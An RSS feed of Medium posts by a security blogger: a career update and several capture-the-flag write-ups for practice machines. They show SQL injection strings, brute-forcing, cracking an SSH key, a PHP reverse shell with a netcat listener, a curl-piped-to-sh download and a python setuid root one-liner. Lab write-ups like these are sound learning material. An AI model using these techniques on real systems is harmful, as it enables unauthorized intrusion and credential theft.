<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Gonz0_Sec on Medium]]></title>
        <description><![CDATA[Stories by Gonz0_Sec on Medium]]></description>
        <link>https://medium.com/@Gonz0_Sec?source=rss-c3a4e4413dcf------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*fEqY6nLLbpI_WFzGoVr06Q.png</url>
            <title>Stories by Gonz0_Sec on Medium</title>
            <link>https://medium.com/@Gonz0_Sec?source=rss-c3a4e4413dcf------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sun, 22 Nov 2026 08:55:51 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@Gonz0_Sec/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[The Journey Continues]]></title>
            <link>https://medium.com/@Gonz0_Sec/the-journey-continues-9958611ee2cf?source=rss-c3a4e4413dcf------2</link>
            <guid isPermaLink="false">https://medium.com/p/9958611ee2cf</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[contracting]]></category>
            <category><![CDATA[scripting]]></category>
            <category><![CDATA[coding]]></category>
            <category><![CDATA[cyber-threat-intelligence]]></category>
            <dc:creator><![CDATA[Gonz0_Sec]]></dc:creator>
            <pubDate>Sun, 25 Aug 2024 21:01:30 GMT</pubDate>
            <atom:updated>2024-08-25T21:01:30.258Z</atom:updated>
            <content:encoded><![CDATA[<pre>██████╗  ██████╗ ███╗   ██╗███████╗ ██████╗         ███████╗███████╗ ██████╗<br>██╔════╝ ██╔═══██╗████╗  ██║╚══███╔╝██╔═████╗        ██╔════╝██╔════╝██╔════╝<br>██║  ███╗██║   ██║██╔██╗ ██║  ███╔╝ ██║██╔██║        ███████╗█████╗  ██║     <br>██║   ██║██║   ██║██║╚██╗██║ ███╔╝  ████╔╝██║        ╚════██║██╔══╝  ██║     <br>╚██████╔╝╚██████╔╝██║ ╚████║███████╗╚██████╔╝███████╗███████║███████╗╚██████╗<br> ╚═════╝  ╚═════╝ ╚═╝  ╚═══╝╚══════╝ ╚═════╝ ╚══════╝╚══════╝╚══════╝ ╚═════</pre><p>It’s been an amazing couple of years since I began my journey in cybersecurity. I’ve gained immense experience about both cyber, the contracting world, and myself. Since beginning my journey in 2021 at a cybersecurity bootcamp I’ve gotten two certifications (Sec+ and CySA+), been to DEFCON twice, and worked for two government agencies, all while being a husband, a father, a son, a brother, a friend, a mentor, and always…a hacker.</p><p>My first gig after graduating from the cybersecurity bootcamp was with America’s Premier Cyber and Infrastructure defense agency, CISA as a Cyber Vulnerability Research Analyst. This was a great introduction into the contracting world, and cybersecurity as a whole. I got to put some of my knowledge to use, and I learned that I still had a lot to learn. This was my opportunity to show that I was motivated and willing to do what it took to be successful in this field. I learned about managing expectations, and how to be a consultant as well as how to overcome adversity and fail gracefully.</p><p>The position I took on was in all fairness perhaps too advanced for someone with my level of experience (also echoed by leadership after having left the position later on). Despite the incredibly high expectations imposed on me, I was able to excel in the role, contribute to workshops, and earn accolades from my fed leads, all while continuing to pursue professional development in the form of study in my off time, and creating home labs.</p><p>Contracting is a tumultuous place to be employed, there are great opportunities, but sometimes it can be a rocky road. The stuff that goes on on the backend of contracting is still foreign to me, but the impact of those talks and negotiations are felt by myself and my peers.</p><p>I have since pivoted to working in Cyber Threat Intelligence as a contractor for USPS, a result of some good timing, contract craziness and continuing to gain knowledge whenever I can. This position has enabled me to be a little more hands on with cybersecurity, using even more knowledge from my studies and constantly learning new things every day I am in my office.</p><p>Moving forward I would like to spend some time learning about coding and scripting both to automate some tasks that can take up quite a bit of time, as well as potentially moving into doing malware analysis and having a better understanding of how malware works in general. It’s time to move away from the script kiddie moniker and be a little more mature in my understanding of vulnerabilities and exploits. For now, that’s where I’ll focus my efforts and see where it takes me. Until next time, thanks for reading, I’m rooting for you.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=9958611ee2cf" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Cap HTB Writeup]]></title>
            <link>https://medium.com/@Gonz0_Sec/cap-htb-writeup-f3c296f4030b?source=rss-c3a4e4413dcf------2</link>
            <guid isPermaLink="false">https://medium.com/p/f3c296f4030b</guid>
            <category><![CDATA[hackthebox]]></category>
            <category><![CDATA[writeup]]></category>
            <category><![CDATA[privilege-escalation]]></category>
            <category><![CDATA[cap]]></category>
            <category><![CDATA[idor]]></category>
            <dc:creator><![CDATA[Gonz0_Sec]]></dc:creator>
            <pubDate>Sat, 24 Feb 2024 01:51:01 GMT</pubDate>
            <atom:updated>2024-02-24T01:59:23.380Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/562/1*7Bs_NUnnCADpQOh_2bWb9g.png" /></figure><p>I start with NMAP</p><pre>nmap -sC -sV &lt;IP&gt; -oN nmap.initial</pre><p>I use the -sC flag runs a script scan with the default set of scripts, the -sV flag enumerates versions, and the -oN flag writes the results to a ‘normal’ output called nmap.initial.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/858/1*9lMB_nNab7ZipPOnWg_smg.png" /><figcaption>nmap results</figcaption></figure><p>I see there are 3 tcp ports open: 21 FTP, 22 SSH, and 80 http. The first thing that I want to do since I do not see that anonymous login is permitted with FTP is to check out the webpage being hosted on port 80.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*X15gZNZPVVKQcAsUxHut6Q.png" /><figcaption>Webpage hosted on port 80</figcaption></figure><p>The site looks like a Dashboard populated with network activity associated with the site.</p><p>The term walking the site refers to clicking around and navigating to the different links and directories hosted on the site. Doing this I notice that the ‘Security Snapshot (5 second pcap + analysis) page URL has a numeric endpoint. This may suggest that there are other files to request.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/781/1*ZGRJehLNOXdhLx5V5hWTzw.png" /><figcaption>numeric endpoint/potential IDOR vulnerability in URL.</figcaption></figure><p>Typically the 0th or 1st number belongs to an administrator so I try number 1 first and do not retrieve any information, but when I put a 0 in it’s place…</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*jwJ15IU7Da0UoSJ1kFBsWQ.png" /><figcaption>likely administrator pcap file</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/596/1*SaPBkGZqj-SywvAgcIgJLw.png" /><figcaption>Wireshark FTP packets</figcaption></figure><p>Analyzing the PCAP I see some cleartext credentials in the packets being used to authenticate to port 21:FTP.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/427/1*M839fOCZNvUv2KujI-YiDA.png" /><figcaption>Successfully authenticating with Nathans creds</figcaption></figure><p>If I run the ‘ls’ command, I can see the first flag then I just need to run “get user.txt” and the file will be sent to my attacker machine.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/600/1*Rspfe7KdpSyh597uZxCqtQ.png" /><figcaption>Files listed out of FTP</figcaption></figure><p>With Nathans credentials we can try to authenticate to ssh as well using:</p><pre>ssh nathan@&lt;IP&gt;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/476/1*z7wogw-Rl6ezN-X9PgIKTg.png" /><figcaption>successful ssh login with nathan’s creds</figcaption></figure><p>Success. Typically when I first get on a box I like to run ‘whoami’ and the next command I run is sudo -l. This lets me see the things my current user is able to do with superuser permissions. In this case Nathan is not able to run sudo at all. So another route I went was to get linpeas on the box.</p><p><a href="https://github.com/carlospolop/PEASS-ng/tree/master/linPEAS">PEASS-ng/linPEAS at master · peass-ng/PEASS-ng</a></p><p>LinPEAS stands for Linux Privilege Escalation Awesome Script. This script will search for paths to escalate privileges and are color coded by severity.</p><p>To get linPEAS on the box I first download linPEAS</p><pre>curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh</pre><p>to my attacker machine to the /opt directory and start a http server with python.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/629/1*7UChAfYZLiDIGcHBenjUNQ.png" /><figcaption>python server serving on port 8001</figcaption></figure><p>Next, I wget or curl from the victim machine to put linPEAS on the box. Make sure to specify the port that you are serving the server on.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/922/1*0Hcg_YPJLfAAoCmkMpAO7A.png" /><figcaption>Grabbing the file hosted on the attacker machine</figcaption></figure><p>In order to make linPEAS executable and run I run the following commands:</p><pre>chmod +x linpeas.sh<br>./linpeas.sh</pre><p>Allow linPEAS to run and I’m going to search for highlighted text.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/658/1*TbMcuOvw_q1onMgF-gyl6Q.png" /><figcaption>Legend for highlights</figcaption></figure><p>After looking through the output, I found some highlighted text that looks like it could be something.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/874/1*UidyuWK2ULhU1L5AMvRofw.png" /><figcaption>Yellow is good</figcaption></figure><p>The python3.8 binary is vulnerable to privilege escalation. The website Hacktricks <a href="https://book.hacktricks.xyz/linux-hardening/privilege-escalation/linux-capabilities">https://book.hacktricks.xyz/linux-hardening/privilege-escalation/linux-capabilities</a> has additional information on this as well as an example of how to exploit it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/768/1*k3pIxGuw3x9iilujnoo7yg.png" /></figure><p>Using this script we are able to change the binary to 0 which gives me root, and spawns a shell with /bin/bash.</p><pre>python3 -c &#39;import os; os.setuid(0); os.system(&quot;/bin/bash&quot;);&#39;<br></pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/607/1*hvYvywLF7hUyVhSyCa8pHg.png" /></figure><p>At this point the machine is rooted, the last thing to do would be to navigate to the root directory and cat the root.txt file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/338/1*i-1uPXs2n7VGW5Leqcd5cQ.png" /></figure><p>That it, thank you for reading, I hope this was helpful, I hope you keep learning. I’m rooting for you.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=f3c296f4030b" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[The Planets: Mercury | CTF Writeup]]></title>
            <link>https://medium.com/@Gonz0_Sec/the-planets-mercury-ctf-writeup-b3666a52c2a0?source=rss-c3a4e4413dcf------2</link>
            <guid isPermaLink="false">https://medium.com/p/b3666a52c2a0</guid>
            <category><![CDATA[sql-injection]]></category>
            <category><![CDATA[privilege-escalation]]></category>
            <category><![CDATA[idor-vulnerability]]></category>
            <category><![CDATA[ctf-writeup]]></category>
            <category><![CDATA[vulnhub-writeup]]></category>
            <dc:creator><![CDATA[Gonz0_Sec]]></dc:creator>
            <pubDate>Mon, 22 Aug 2022 16:10:18 GMT</pubDate>
            <atom:updated>2022-08-22T16:10:18.905Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*lO0eBb-ZDGtMJGMh" /></figure><p>This is a vulnerable machine you can find <a href="https://www.vulnhub.com/entry/the-planets-mercury,544/">here on vulnhub</a>.</p><p>The first step to poking around with the machine is to find the IP you will be using for the engagement. For this we will use the command: netdiscover</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/649/1*inJM3a823B6smXg3LcQ4jA.png" /></figure><p>Okay now that we have the IP address is 10.0.2.4 we can start to enumerate. I was recently at DEFCON and went to a talk that Jason Haddix put on about Web Application Pentesting and he recommends using rustscan for network mapping because it is much faster. So that is what I used, you are more than welcome to use NMAP instead.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*z_oVeI_t4n1wT1tuFYtyQQ.png" /><figcaption>Port 22 and 8080 are open</figcaption></figure><p>From the scan we know that SSH and the proxy HTTP port are open.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/603/1*9madx5whbWwMYJPHAkkb8A.png" /></figure><p>Next I will run a gobuster scan which enumerates directories for that site. First though I usually check the robots.txt to see if there is anything to look at there.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/517/1*sKkalrtHnnf9TnPrqZpi9A.png" /><figcaption>User-agent looks promising</figcaption></figure><p>I will keep gobuster running in the background while I look at the /user-agent directory.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1000/1*tX7JdMXOfmlbrWUxdxYYOA.png" /></figure><p>This error page gives us a ton of information. One, the Django settings have a debug setting that is enabled, and there is another directory to look into /mercuryfacts/</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/547/1*3FezUUIaASKlXF1tiK8NSQ.png" /></figure><p>From the site we are given two links to check out. The to-do list gives some important information and a clue into how to proceed.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/469/1*VdEuHrnhBgELG1xdpF68lQ.png" /></figure><p>With this we know that we will be using mysql and there is a table that might be called “users”.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/627/1*oNIz4uzc0jVAh-TB41DD_w.png" /></figure><p>When I clicked on the other link, it brought me to a page with a single line of text on it. The url however is the most interesting thing about the page. I tested for an IDOR weakness by adding a different number to replace the 1 in the url.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/568/1*XiGluJUdrsUiYLsvEs3nUw.png" /><figcaption>It works.</figcaption></figure><p>After finding this I tried the only real sql injection I could remember “or 1=1”</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*bESmEgEhrCIIGWXvhcAaFg.png" /></figure><p>With this error message we know that the url will accept sql queries.</p><p>Next we need to see how many columns are in the sql database using order by until we get another error message.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/771/1*SQ3tgIGcpESys9riogCUGw.png" /><figcaption>Only one column</figcaption></figure><p>We can enumerate the names of the tables with /1 union select table_names from information_schema.tables/#</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*L32GECjobaIM7xtcwQiWbA.png" /></figure><p>Now we see a table named “users” which verifies the assumption that there was one. We now need to use this information to find the column names for this table. We do this with /1 union select column_name from information_schema.columns where table_name=”users”/</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*0pgAhFuuqBcKg9s-xyk-Ag.png" /></figure><p>We now see the columns username and password. We will use /1 union select username from users | and /union select password from users</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*xXF3I9YXPi-Mf1ePUA5sLA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*bfYKwtYbQemWd-1WdBe2CA.png" /></figure><p>Now we can use these to SSH into the vulnerable web server to collect some flags.</p><p>The first flag should be easy enough to collect with basic Linux commands.</p><p>If you traverse into the mercury_proj directory there is a notes.txt file that will help you with upgrading your privileges to root to complete the rest of the machine.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/679/1*GHzw6mnj8l4yY8jrk4lkzA.png" /></figure><p>These are base64 encoded, so if you run the decoder in the linux terminal it will decode it for you. You can use this to ssh into linuxmaster.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/739/1*EscVeyJhuuR5A0T1vR_aOw.png" /></figure><p>After successfully gaining access to the linuxmaster terminal, I ran sudo -l which tells me what commands linuxmaster is able to run as root with sudo.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/976/1*4otlD-OuDY4262ZULuFc3A.png" /></figure><p>I used searchsploit to find my next move.</p><p>Kali’s default directory for exploitdb is /usr/share/exploitdb/</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*1PhXy66Ti5loHwo977XgDA.png" /></figure><p>Copy the exploit to whatever directory you would like</p><p>Set up an HTTP server and send the exploit to linuxmaster.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/482/1*SbNnj4PSNjmf_g7IyJxj2A.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*m9ytJ-KmeKgYYqGEFUVasw.png" /></figure><p>Once you’ve downloaded the file, make sure you use the command: chmod +x to make the file an executable. Then run the executable with the specified file path.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/821/1*tVOBMSB_9-qnq6AAhLc7aA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/94/1*E5Km8jFKvlyigGatiXQ8rw.png" /><figcaption>The best</figcaption></figure><p>Next traverse to the root directory and get your flag.</p><p>It has been a while since I’ve done a CTF like this and it’s fairly simple and helps practice some tools and techniques I haven’t used in a while. I hope this helps you and I hope you had a lot of fun with it! Thanks for reading!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=b3666a52c2a0" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Basic Pentesting TryHackMe CTF Writeup]]></title>
            <link>https://medium.com/@Gonz0_Sec/basic-pentesting-tryhackme-ctf-writeup-5d76a53a255?source=rss-c3a4e4413dcf------2</link>
            <guid isPermaLink="false">https://medium.com/p/5d76a53a255</guid>
            <category><![CDATA[basic-pentesting]]></category>
            <category><![CDATA[tryhackme]]></category>
            <category><![CDATA[ctf-writeup]]></category>
            <dc:creator><![CDATA[Gonz0_Sec]]></dc:creator>
            <pubDate>Wed, 20 Apr 2022 18:30:49 GMT</pubDate>
            <atom:updated>2022-04-20T18:32:06.944Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*MxlTohLDbpKB7HSqpBAjAQ.png" /></figure><p>This room was a good learning experience, again don’t be afraid to ask for help. I’ve seen this room be completed many times and still needed to refer to write-ups to understand where I was stuck.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/810/1*NI3aZWWQi-uB6frX5sVb8A.png" /><figcaption>Begin enumeration with nmap for open ports</figcaption></figure><p>I decided to check the web site being hosted on port 80, the source code is always a go-to for more clues.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/565/1*CoOP0ksaxA8G6-6Ea-Suxw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/597/1*ZMN8mlAgUyHokYrDsOS5BQ.png" /></figure><p>Directory bruteforcing with gobuster yeild the development directory.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1019/1*pRuhQ6QIQcROjqH7rVhZ2A.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/636/1*biwSRDL_kkqCNlXiSdq9ig.png" /></figure><p>Inside of the dev.txt file we see what version of Apache is being used.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/831/1*E7x0NDGFiOpWrIYEYhw_ZQ.png" /></figure><p>Inside the j.txt file we get a clue as to what sort of methods we are going to need to use for the credentials since hash cracking was mentioned.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/777/1*qOEiQoGBSA4a6T02a8p00g.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/909/1*_CslyTxR_tXJNnnTZVSbvQ.png" /></figure><p>Enum4linux found two users Jan and Kay. We are able to brute force a password from one of them.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/725/1*xn9u-sGVt8qd5OERlmKJDg.png" /></figure><p>Use hydra to bruteforce the credentials for jan.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/742/1*o3j4bsHM0duAFgQ7NbQw2w.png" /></figure><p>SSH in as the jan user with armando as the password.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/827/1*sGdyl9UFj9GqLQ_4gO0V6Q.png" /></figure><p>Find the user kay in the home directory. We are able to look in the .ssh directory.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/771/1*_XgJ4FCwoNVkqjsb0RDaxA.png" /></figure><p>We are able to read the private key for the user Kay!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/930/1*E1vyTbH89mINjMBUxdpHDA.png" /></figure><p>Save the key in a file and use chmod 600 to change the permissions in order to use the rsa key for ssh.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*zTz_CYAteCS1CW_jCMIqcg.png" /></figure><p>We need a passphrase for the key…</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/812/1*rxkT2ok_lijBfz5MdwCyOw.png" /></figure><p>Use ssh2john to convert the file to what john is able to use.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/696/1*y7h5EnI0wAvcCX_zQasKHw.png" /></figure><p>Then use johntheripper to find the passphrase with the forjohn file you created.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/756/1*OTU-AjbpL6cdpARPfAmG1A.png" /></figure><p>SSH as the user Kay and now you can read the pass.bak file and complete the room.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/688/1*6GASDi7X1VwYhJdDrxiKWw.png" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=5d76a53a255" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Lazy Admin TryHackMe CTF Write Up]]></title>
            <link>https://medium.com/@Gonz0_Sec/lazy-admin-tryhackme-ctf-write-up-3467516c6549?source=rss-c3a4e4413dcf------2</link>
            <guid isPermaLink="false">https://medium.com/p/3467516c6549</guid>
            <category><![CDATA[capture-the-flag]]></category>
            <category><![CDATA[lazy-admin]]></category>
            <category><![CDATA[tryhackme-walkthrough]]></category>
            <dc:creator><![CDATA[Gonz0_Sec]]></dc:creator>
            <pubDate>Thu, 10 Feb 2022 02:08:04 GMT</pubDate>
            <atom:updated>2022-02-10T02:08:04.693Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/637/0*Eoi5fa7VjR_Wgj6-.jpeg" /></figure><p>Lazy Admin TryHackMe CTF Write Up</p><p>This room took some doing, but we got through it with minimal assistance. Lets get started.</p><p>First I ran an nmap scan using -sC for scanning with default NSE scripts -sV to enumerate versions and wrote the output to a file called initial with -oN</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/817/1*UsiCFKLsoIx2F8epBqlBdw.png" /></figure><p>We see a website being hosted on port 80 and ssh is open on port 22.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*UQdH183oesbCUFNeDBQr2g.png" /><figcaption>Default apache2 webpage</figcaption></figure><p>Going to the /content directory we see the below image. This lets us know that the site is running Basic CMS SweetRice.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/746/1*BOu0Nn3i3RNVElO3ZNPS6g.png" /></figure><p>I ran a dirb scan on the IP and found a couple of directories to check out.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/485/1*UykykAD4w4Bxv314OgPJ7Q.png" /></figure><p>One of the directories gets me to the SweetRice login page</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/618/1*3zZm90UtVkZXJDvYP-PjEw.png" /><figcaption>/content/as/ directory</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/508/1*sVoC2TJh3IRNTJQPv4f9Og.png" /></figure><p>Another directory popped up on the dirb scan</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/499/1*eXbgUs5HMauadeHCiIjGTw.png" /></figure><p>In the /inc directory we can see this folder called mysql_backup/</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*UrIMv7QC8sDp6_uh0b8Utw.png" /></figure><p>If we read that file:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*SzrMY9l2KaySxAKYHpHVjw.png" /></figure><p>We now have a potential username and hashed password.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*xsf6rOgIkfazy1iXy36WOg.png" /></figure><p>When you put that hash into <a href="https://crackstation.net/">crackstation</a> we can see that it is an md5 hash and the result is Password123. I used the username “manager” in the login page we found.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*As4xHy2T_mgOPHRIwlpfkQ.png" /></figure><p>We are logged in with those credentials.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ieo0MalnuuaZhE-VXiRAEw.png" /></figure><p>We can use the Media Center to send a php reverse shell and gain access to the machine.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/697/1*-1f4nT5_nj3vzbM4d9r1AA.png" /></figure><p>I use the php reverse shell from <a href="https://pentestmonkey.net/tools/web-shells/php-reverse-shell">pentestmonkey</a>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/720/1*LySFriU2RszDbEPe07XHnQ.png" /></figure><p>Make sure you change the IP address and port to match your netcat listener.</p><p>Start a netcat listener on your host machine and make note of the port you are listening on.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*ptILzq4V7LLdR2_UrbiF1g.png" /></figure><p>If you have no errors, the site should hang once you click on the .php file you uploaded and you should have the ability to move around with your nc listener.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/920/1*FctWTBja4F6oWg8_9udI-Q.png" /></figure><p>We can move into itguys home directory and read user.txt and get the first flag.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/384/1*T-yoDMlrHpku3S4skJeOdw.png" /></figure><p>We want to get root, so lets see what www/data can run as root.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/992/1*s_C1HO2RmNjZYLIBnZxoFw.png" /></figure><p>Lets look at backup.pl</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/270/1*uJnDYyFmap6qRYs4D_U_yA.png" /></figure><p>Lets go see whats in /etc/copy.sh I’m already under the impression that we will be using perl to breakout.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/686/1*qUB0o6G3lwpyXh2HeB4Xqw.png" /></figure><p>This is already a nc listener code. Lets use this to see if we can get root. Change the IP and port to what your machine is listening on. We will need to use echo to change the contents of the file since we are unable to use nano or vim.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/903/1*V50A_iFeGI_p5fIQD5xMqg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/463/1*yzE00AsSLk3hJ-KVbTreMA.png" /><figcaption>oopsies, forgot the sudo perl</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/319/1*PDzY9bR_z0aXT3wHKV_xuQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/526/1*FV46PZ1ZFF1G8lWpU3u4eA.png" /></figure><p>We are now root and can move to the root directory, read the root.txt file and get the flag</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/395/1*neqlKWW-SOLA2dZTRo6KQQ.png" /></figure><p>And that’s it. I hope this helped you in a time of frustration. If you have any tips for how to improve, feel free to reach out on here, or through my linkedin. I appreciate you reading!</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=3467516c6549" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Simple CTF TryHackMe Writeup]]></title>
            <link>https://medium.com/@Gonz0_Sec/simple-ctf-tryhackmewriteup-a728ba535e7f?source=rss-c3a4e4413dcf------2</link>
            <guid isPermaLink="false">https://medium.com/p/a728ba535e7f</guid>
            <category><![CDATA[simple-ctf]]></category>
            <category><![CDATA[tryhackme-writeup]]></category>
            <dc:creator><![CDATA[Gonz0_Sec]]></dc:creator>
            <pubDate>Mon, 07 Feb 2022 00:58:13 GMT</pubDate>
            <atom:updated>2022-02-07T15:11:44.308Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*klBt56n5VLJeFzHA.png" /></figure><p>This is my write up for the TryHackMe ‘Simple CTF’</p><p>This was done with a couple buddies and it didn’t take too long to finish.</p><p>As always, I begin with enumerating the IP address with nmap. I used -sC for scripts, -sV to enumerate versions, -p- for all ports, and -oN to write the results to the file ‘initial’</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1017/1*ph9MWYQGWo3tHQGglLZ3IA.png" /></figure><p>I headed over to the web page being hosted on port 80 and found a default apache2 web page. I decided to check out the robots.txt page that nmap found.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*RYUscJLLt9afuLzBEs6jlw.png" /><figcaption>heading over to the webpage we see a default apache web page.</figcaption></figure><p>Interesting…not sure what do to with this honestly.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/556/1*-ZPuA-IhjmVJDcBrDhOFeQ.png" /><figcaption>robots.txt</figcaption></figure><p>Anyway, ftp allowed for anonymous access to I logged in and was able to get ForMitch.txt</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/585/1*X8oh-8YU8krnWkPHVBsvmQ.png" /></figure><p>Well, well, well. Mitch, I guess will have short work made of his password. If we can figure out what how to do it.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*vbLs_bDl0zGxnccH-FFCNQ.png" /></figure><p>A gobuster scan revealed the directory /simple</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/907/1*qKcxa5IcvPL4BjqH2Y1KXg.png" /></figure><p>This is pretty neat, what is it? I don’t know. All I know is my buddy was able to find what version this website is running and guess what? It’s vulnerable.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*MRVUNbHZpFnFxjxZ1bWzsw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/427/1*O643BB9u5FfanVrpS1zbpQ.png" /><figcaption>vulnerable CMS Made Simple</figcaption></figure><p>Just did a quick google search and found this exploit on <a 